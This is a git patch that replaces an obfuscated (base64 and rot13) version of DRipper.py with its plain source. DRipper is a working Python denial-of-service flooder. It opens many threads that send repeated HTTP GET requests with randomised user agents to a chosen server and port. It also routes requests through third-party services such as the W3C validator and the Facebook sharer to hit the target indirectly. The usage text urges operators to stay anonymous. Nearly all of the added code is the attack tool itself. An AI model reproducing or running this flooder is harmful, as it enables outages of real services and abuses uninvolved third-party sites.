From 31cccdebfeb326056402617fa61199416f3f7bd9 Mon Sep 17 00:00:00 2001 From: NjProVk <56306561+NjProVk@users.noreply.github.com> Date: Sat, 5 Mar 2022 01:30:34 +0200 Subject: [PATCH] Update DRipper.py --- DRipper.py | 226 ++++++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 215 insertions(+), 11 deletions(-) diff --git a/DRipper.py b/DRipper.py index 91f72d8..80e4108 100644 --- a/DRipper.py +++ b/DRipper.py @@ -1,11 +1,215 @@ -# Python code obfuscated by www.development-tools.net - - -import base64, codecs -magic = 'IyEvdXNyL2Jpbi9weXRob24zDQojIC0qLSBjb2Rpbmc6IHV0Zi04IC0qLQ0KDQoNCg0KaW1wb3J0IHN5cw0KZnJvbSBxdWV1ZSBpbXBvcnQgUXVldWUNCmZyb20gb3B0cGFyc2UgaW1wb3J0IE9wdGlvblBhcnNlcg0KaW1wb3J0IHRpbWUsc3lzLHNvY2tldCx0aHJlYWRpbmcsbG9nZ2luZyx1cmxsaWIucmVxdWVzdCxyYW5kb20NCg0KcHJpbnQoJycnDQoNCg0K4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyAg4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVlyAgICDilojilojilojilojilojilojilZcg4paI4paI4pWX4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilojilojilojilojilojilZfilojilojilojilojilojilojilZcNCuKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKVlOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKVlOKVkOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKVlOKVkOKVkOKVkOKVkOKVnSAgICDilojilojilZTilZDilZDilojilojilZfilojilojilZHilojilojilZTilZDilZDilojilojilZfilojilojilZTilZDilZDilojilojilZfilojilojilZTilZDilZDilZDilZDilZ3ilojilojilZTilZDilZDilojilojilZcNCuKWiOKWiOKVkSAg4paI4paI4pWR4paI4paI4pWRICDilojilojilZHilojilojilZEgICDilojilojilZHilojilojilojilojilojilojilojilZcgICAg4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4pWR4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4paI4paI4paI4pWXICDilojilojilojilojilojilojilZTilZ0NCuKWiOKWiOKVkSAg4paI4paI4pWR4paI4paI4pWRICDilojilojilZHilojilojilZEgICDilojilojilZHilZrilZDilZDilZDilZDilojilojilZEgICAg4paI4paI4pWU4pWQ4pWQ4paI4paI4pWX4paI4paI4pWR4paI4paI4pWU4pWQ4pWQ4pWQ4pWdIOKWiOKWiOKVlOKVkOKVkOKVkOKVnSDilojilojilZTilZDilZDilZ0gIOKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVlw0K4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4paI4paI4paI4paI4pWU4pWd4pWa4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4paI4paI4paI4paI4paI4pWRICAgIOKWiOKWiOKVkSAg4paI4paI4pWR4paI4paI4pWR4paI4paI4pWRICAgICDilojilojilZEgICAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKVkSAg4paI4paI4pWRDQrilZrilZDilZDilZDilZDilZDilZ0g4pWa4pWQ4pWQ4pWQ4pWQ4pWQ4pWdICDilZrilZDilZDilZDilZDilZDilZ0g4pWa4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWdICAgIOKVmuKVkOKVnSAg4pWa4pWQ4pWd4pWa4pWQ4pWd4pWa4pWQ4pWdICAgICDilZrilZDilZ0gICAgIOKVmuKVkOKVkOKVkOKVkOKVkOKVkOKVneKVmuKVkOKVnSAg4pWa4pWQ4pWdICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgwqlFbmdpbmVSaXBwZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVmZXJlbmNlIGJ5IEhhbW1lcg0KJycnKQ0KDQpkZWYgdXNlcl9hZ2VudCgpOg0KCWdsb2JhbCB1YWdlbnQNCgl1YWdlbnQ9W10NCgl1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wKSBPcGVyYSAxMi4xNCIpDQoJdWFnZW50LmFwcGVuZCgiTW96aWxsYS81L' -love = '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' -god = 'hlYWRlcnM9eydVc2VyLUFnZW50JzogcmFuZG9tLmNob2ljZSh1YWdlbnQpfSkpDQoJCQlwcmludCgiXDAzM1s5MG1hZ2FpbiBib3QgaXMgcmlwcGVyaW5nLi4uXDAzM1swbSIpDQoJCQl0aW1lLnNsZWVwKC4xKQ0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCguMikNCg0KDQpkZWYgZG93bl9pdChpdGVtKToNCgl0cnk6DQoJCXdoaWxlIFRydWU6DQoJCQlwYWNrZXQgPSBzdHIoIkdFVCAvIEhUVFAvMS4xXG5Ib3N0OiAiK2hvc3QrIlxuXG4gVXNlci1BZ2VudDogIityYW5kb20uY2hvaWNlKHVhZ2VudCkrIlxuIitkYXRhKS5lbmNvZGUoJ3V0Zi04JykNCgkJCXMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQoJCQlzLmNvbm5lY3QoKGhvc3QsaW50KHBvcnQpKSkNCgkJCWlmIHMuc2VuZHRvKCBwYWNrZXQsIChob3N0LCBpbnQocG9ydCkpICk6DQoJCQkJcy5zaHV0ZG93bigxKQ0KCQkJCXByaW50ICgiXDAzM1s5Mm0iLHRpbWUuY3RpbWUodGltZS50aW1lKCkpLCJcMDMzWzBtIFwwMzNbOTJtIDwtLXBhY2tldCBzZW50ISByaXBwZXJpbmctLT4gXDAzM1swbSIpDQoJCQllbHNlOg0KCQkJCXMuc2h1dGRvd24oMSkNCgkJCQlwcmludCgiXDAzM1s5MW1zaHV0PC0+ZG93blwwMzNbMG0iKQ0KCQkJdGltZS5zbGVlcCguMSkNCglleGNlcHQgc29ja2V0LmVycm9yIGFzIGU6DQoJCXByaW50KCJcMDMzWzkxbW5vIGNvbm5lY3Rpb24hIHdlYiBzZXJ2ZXIgbWF5YmUgZG93biFcMDMzWzBtIikNCgkJI3ByaW50KCJcMDMzWzkxbSIsZSwiXDAzM1swbSIpDQoJCXRpbWUuc2xlZXAoLjEpDQoNCg0KZGVmIGRvcygpOg0KCXdoaWxlIFRydWU6DQoJCWl0ZW0gPSBxLmdldCgpDQoJCWRvd25faXQoaXRlbSkNCgkJcS50YXNrX2RvbmUoKQ0KDQoNCmRlZiBkb3MyKCk6DQoJd2hpbGUgVHJ1ZToNCgkJaXRlbT13LmdldCgpDQoJCWJvdF9yaXBwZXJpbmcocmFuZG9tLmNob2ljZShib3RzKSsiaHR0cDovLyIraG9zdCkNCgkJdy50YXNrX2RvbmUoKQ0KDQojZGVmIGRvczMoKToNCiAgIyAgd2hpbGUgVHJ1ZToNCiAgIyAgICAgIGl0ZW0gPSBlLmdldCgpDQogICMgICAgICBib3RfcmlwcGVyaW5nKHJhbmRvbS5jaG9pY2UoYm90cykrImh0dHA6Ly8iK2hvc3QpDQogICMgICAgICBlLnRhc2tfZG9uZSgpDQoNCmRlZiB1c2FnZSgpOg0KCXByaW50ICgnJycgXDAzM1swOzk1bUREb3MgUmlwcGVyIA0KCQ0KCUl0IGlzIHRoZSBlbmQgdXNlcidzIHJlc3BvbnNpYmlsaXR5IHRvIG9iZXkgYWxsIGFwcGxpY2FibGUgbGF3cy4NCglJdCBpcyBqdXN0IGxpa2UgYSBzZXJ2ZXIgdGVzdGluZyBzY3JpcHQgYW5kIFlvdXIgaXAgaXMgdmlzaWJsZS4gUGxlYXNlLCBtYWtlIHN1cmUgeW91IGFyZSBhbm9ueW1vdXMhIFxuDQoJVXNhZ2UgOiBweXRob24zIGRyaXBwZXIucHkgWy1zXSBbLXBdIFstdF0gWy1xXQ0KCS1oIDogLWhlbHANCgktcyA6IC1zZXJ2ZXIgaXANCgktcCA6IC1wb3J0IGRlZmF1bHQgODANCgktcSA6IC1xdWlldA0KCQ0KCS10IDogLXR1cmJvIGRlZmF1bHQgMTM1IG9yIDQ0MyBcMDMzWzBtICcnJykNCg0KCXN5cy5leGl0KCkNCg0KDQpkZWYgZ2V0X3BhcmFtZXRlcnMoKToNCglnbG9iYWwgaG9zdA0KCWdsb2JhbCBwb3J0DQoJZ2xvYmFsIHRocg0KCWdsb2JhbCBpdGVtDQoJb3B0cCA9IE9wdGlvblBhcnNlcihhZGRfaGVscF9vcHRpb249RmFsc2UsZXBpbG9nPSJSaXBwZXJzIikNCglvcHRwLmFkZF9vcHRpb24oIi1zIiwiLS1zZXJ2ZXIiLCBkZXN0PSJob3N0IixoZWxwPSJhdHRhY2sgdG8gc2VydmVyIGlwIC1zIGlwIikNCglvcHRwLmFkZF9vcHRpb24oIi1wIiwiLS1wb3J0Iix0eXBlPSJpbnQiLGRlc3Q9InBvcnQiLGhlbHA9Ii1wIDgwIGRlZmF1bHQgODAiKQ0KCW9wdHAuYWRkX29' -destiny = 'jqTyiovtvYKDvYPVgYKE1pzWiVvk0rKOyCFWcoaDvYTEyp3D9VaE1pzWiVvkbMJkjCFWxMJMuqJk0VQRmAFOipvN0AQZtYKDtZGZ1VT9lVQD0ZlVcQDbWo3O0pP5uMTEso3O0nJ9hXPVgnPVfVv0gnTIfpPVfMTImqQ0vnTIfpPVfLJA0nJ9hCFqmqT9lMI90paIyWlkbMJkjCFWbMJkjVUyiqFVcQDbWo3O0pP5uMTEso3O0nJ9hXPVgpFVfVPVgYKS1nJI0VvjtnTIfpQ0vp2I0VTkiM2qcozptqT8tEIWFG1VvYPOuL3Eco249VaA0o3WyK2AioaA0VvjtMTImqQ0voT9aoTI2MJjvYTAioaA0CJkiM2qcozphEIWFG1VfVTEyMzS1oUD9oT9aM2yhMl5WGxMCXD0XPJ9jqUZfVTSlM3ZtCFOipUEjYaOupaAyK2SlM3ZbXD0XPJkiM2qcozphLzSmnJAQo25znJpboTI2MJj9o3O0pl5fo2qfMKMyoPkzo3WgLKD9WlHboTI2MJkhLJ1yXF04plNyXT1yp3AuM2HcplpcQDbWnJLto3O0pl5bMJkjBt0XPDy1p2SaMFtcQDbWnJLto3O0pl5bo3A0VTymVT5iqPOBo25yBt0XPDybo3A0VQ0to3O0pl5bo3A0QDbWMJkmMGbAPtxWqKAuM2HbXD0XPJyzVT9jqUZhpT9lqPOcplOBo25yBt0XPDyjo3W0VQ0tBQNAPtyyoUAyBt0XPDyjo3W0VQ0to3O0pl5jo3W0QDbAPtycMvOipUEmYaE1pzWiVTymVR5iozH6QDbWPKEbpvN9VQRmAD0XPJIfp2H6QDbWPKEbpvN9VT9jqUZhqUIlLz8APt0XQDbAPvZtpzIuMTyhMlObMJSxMKWmQDcaoT9vLJjtMTS0LD0XnTIuMTIlplN9VT9jMJ4bVzuyLJEypaZhqUu0VvjtVaVvXD0XMTS0LFN9VTuyLJEypaZhpzIuMPtcQDcbMJSxMKWmYzAfo3AyXPxAPvA0LKAeVUS1MKIyVTSlMFOkYUpfMD0XpFN9VSS1MKIyXPxAPaptCFOEqJI1MFtcQDcyVQ0tHKIyqJHbXD0XQDbAPzyzVS9sozSgMI9sVQ09VPqsK21unJ5sKlp6QDbWnJLtoTIhXUA5pl5upzq2XFN8VQV6QDbWPKImLJqyXPxAPtyaMKEspTSlLJ1yqTIlpltcQDbWpUWcoaDbVyjjZmAoBGWgVvkbo3A0YPVtpT9lqQbtVvkmqUVbpT9lqPxfVvO0qKWvombtVvkmqUVbqTulXFjvKQNmZ1fjoFVcQDbWpUWcoaDbVyjjZmAoBGEgHTkyLKAyVUqunKDhYv5pZQZmJmOgVvxAPty1p2IlK2SaMJ50XPxAPtygrI9vo3EmXPxAPty0nJ1yYaAfMJIjXQHcQDbWqUW5Bt0XPDymVQ0tp29wn2I0YaAiL2gyqPumo2AeMKDhDHMsFH5SIPjtp29wn2I0YyACD0gsH1EFEHSAXD0XPDymYzAioz5yL3DbXTuip3DfnJ50XUOipaDcXFxAPtxWpl5mMKE0nJ1yo3I0XQRcQDbWMKuwMKO0VUAiL2gyqP5ypaWipvOuplOyBt0XPDyjpzyhqPtvKQNmZ1f5ZJ1wnTIwnlOmMKW2MKVtnKNtLJ5xVUOipaEpZQZmJmOgVvxAPtxWqKAuM2HbXD0XPKqbnJkyVSElqJH6QDbWPJMipvOcVTyhVUWuozqyXTyhqPu0nUVcXGbAPtxWPKDtCFO0nUWyLJEcozphITulMJSxXUEupzqyqQ1xo3ZcQDbWPDy0YzEuMJ1iovN9VSElqJHtVPZtnJLtqTulMJSxVTymVTI4nKA0YPOcqPOxnJImQDbWPDy0YaA0LKW0XPxAPtxWPKDlVQ0tqTulMJSxnJ5aYyEbpzIuMPu0LKWaMKD9MT9mZvxAPtxWPKDlYzEuMJ1iovN9VSElqJHtVPZtnJLtqTulMJSxVTymVTI4nKA0YPOcqPOxnJImQDbWPDy0Zv5mqTSlqPtcQDbWPFZWqQZtCFO0nUWyLJEcozpiITulMJSxXUEupzqyqQ1xo3ZmXD0XPDxwPKDmYzEuMJ1iovN9VSElqJHtVlOcMvO0nUWyLJDtnKZtMKucp3DfVTy0VTEcMKZAPtxWVjy0Zl5mqTSlqPtcQDbWPKA0LKW0VQ0tqTygMF50nJ1yXPxAPtxWV3Eup2gcozpAPtxWnKEyoFN9VQNAPtxWq2ucoTHtIUW1MGbAPtxWPJyzVPucqTIgCwR4ZQNcBvNwVTMipvOholOgMJ1ipaxtL3Wup2tAPtxWPDycqTIgCGNAPtxWPDy0nJ1yYaAfMJIjXP4kXD0XPDxWnKEyoFN9VTy0MJ0tXlNkQDbWPDykYaO1qPucqTIgXD0XPDxWql5jqKDbnKEyoFxAPtxWPJHhpUI0XTy0MJ0cQDbWPKRhnz9covtcQDbWql5do2yhXPxAPzHhnz9covtc' -joy = '\x72\x6f\x74\x31\x33' -trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') -eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec')) \ No newline at end of file +#!/usr/bin/python3 +# -*- coding: utf-8 -*- + + + +import sys +from queue import Queue +from optparse import OptionParser +import time,sys,socket,threading,logging,urllib.request,random + +print(''' + + +██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗██████╗ ██████╗ ███████╗██████╗ +██╔══██╗██╔══██╗██╔═══██╗██╔════╝ ██╔══██╗██║██╔══██╗██╔══██╗██╔════╝██╔══██╗ +██║ ██║██║ ██║██║ ██║███████╗ ██████╔╝██║██████╔╝██████╔╝█████╗ ██████╔╝ +██║ ██║██║ ██║██║ ██║╚════██║ ██╔══██╗██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗ +██████╔╝██████╔╝╚██████╔╝███████║ ██║ ██║██║██║ ██║ ███████╗██║ ██║ +╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ + ©EngineRipper + reference by Hammer +''') + +def user_agent(): + global uagent + uagent=[] + uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14") + uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0") + uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3") + uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)") + uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7") + uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)") + uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1") + uagent.append("Mozilla / 5.0(X11;Linux i686; rv:81.0) Gecko / 20100101 Firefox / 81.0") + uagent.append("Mozilla / 5.0(Linuxx86_64;rv:81.0) Gecko / 20100101Firefox / 81.0") + uagent.append("Mozilla / 5.0(X11;Ubuntu;Linuxi686;rv:81.0) Gecko / 20100101Firefox / 81.0") + uagent.append("Mozilla / 5.0(X11;Ubuntu;Linuxx86_64;rv:81.0) Gecko / 20100101Firefox / 81.0") + uagent.append("Mozilla / 5.0(X11;Fedora;Linuxx86_64;rv:81.0) Gecko / 20100101Firefox / 81.0") + return(uagent) + + + +def my_bots(): + global bots + bots=[] + bots.append("http://validator.w3.org/check?uri=") + bots.append("http://www.facebook.com/sharer/sharer.php?u=") + return(bots) + + +def my_bots2(): + global bots + bots=[] + bots.append("http://validator.w3.org/check?uri=") + bots.append("http://www.facebook.com/sharer/sharer.php?u=") + return(bots) + + + +def bot_rippering(url): + try: + while True: + req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)})) + print("\033[95mbot is rippering...\033[0m") + time.sleep(.1) + except: + time.sleep(.1) + +def bot_again_rippering(url): + try: + while True: + req = urllib.request.urlopen(urllib.request.Request(url, headers={'User-Agent': random.choice(uagent)})) + print("\033[90magain bot is rippering...\033[0m") + time.sleep(.1) + except: + time.sleep(.2) + + +def down_it(item): + try: + while True: + packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8') + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((host,int(port))) + if s.sendto( packet, (host, int(port)) ): + s.shutdown(1) + print ("\033[92m",time.ctime(time.time()),"\033[0m \033[92m <--packet sent! rippering--> \033[0m") + else: + s.shutdown(1) + print("\033[91mshut<->down\033[0m") + time.sleep(.1) + except socket.error as e: + print("\033[91mno connection! web server maybe down!\033[0m") + #print("\033[91m",e,"\033[0m") + time.sleep(.1) + + +def dos(): + while True: + item = q.get() + down_it(item) + q.task_done() + + +def dos2(): + while True: + item=w.get() + bot_rippering(random.choice(bots)+"http://"+host) + w.task_done() + +#def dos3(): + # while True: + # item = e.get() + # bot_rippering(random.choice(bots)+"http://"+host) + # e.task_done() + +def usage(): + print (''' \033[0;95mDDos Ripper + + It is the end user's responsibility to obey all applicable laws. + It is just like a server testing script and Your ip is visible. Please, make sure you are anonymous! \n + Usage : python3 dripper.py [-s] [-p] [-t] [-q] + -h : -help + -s : -server ip + -p : -port default 80 + -q : -quiet + + -t : -turbo default 135 or 443 \033[0m ''') + + sys.exit() + + +def get_parameters(): + global host + global port + global thr + global item + optp = OptionParser(add_help_option=False,epilog="Rippers") + optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip") + optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80") + optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 or 443 -t 135 or 443") + optp.add_option("-h","--help",dest="help",action='store_true',help="help you") + optp.add_option("-q", "--quiet", help="set logging to ERROR", action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO) + opts, args = optp.parse_args() + logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s') + if opts.help: + usage() + if opts.host is not None: + host = opts.host + else: + usage() + if opts.port is None: + port = 80 + else: + port = opts.port + + if opts.turbo is None: + thr = 135 + else: + thr = opts.turbo + + + +# reading headers +global data +headers = open("headers.txt", "r") +data = headers.read() +headers.close() +#task queue are q,w,e +q = Queue() +w = Queue() +e = Queue() + + +if __name__ == '__main__': + if len(sys.argv) < 2: + usage() + get_parameters() + print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m") + print("\033[94mPlease wait...\033[0m") + user_agent() + my_bots() + time.sleep(5) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((host,int(port))) + s.settimeout(1) + except socket.error as e: + print("\033[91mcheck server ip and port\033[0m") + usage() + while True: + for i in range(int(thr)): + t = threading.Thread(target=dos) + t.daemon = True # if thread is exist, it dies + t.start() + t2 = threading.Thread(target=dos2) + t2.daemon = True # if thread is exist, it dies + t2.start() + # t3 = threading/Thread(target=dos3) + # t3.daemon = True # if thread is exist, it dies + # t3.start() + start = time.time() + #tasking + item = 0 + while True: + if (item>1800): # for no memory crash + item=0 + time.sleep(.1) + item = item + 1 + q.put(item) + w.put(item) + e.put(item) + q.join() + w.join() +e.join()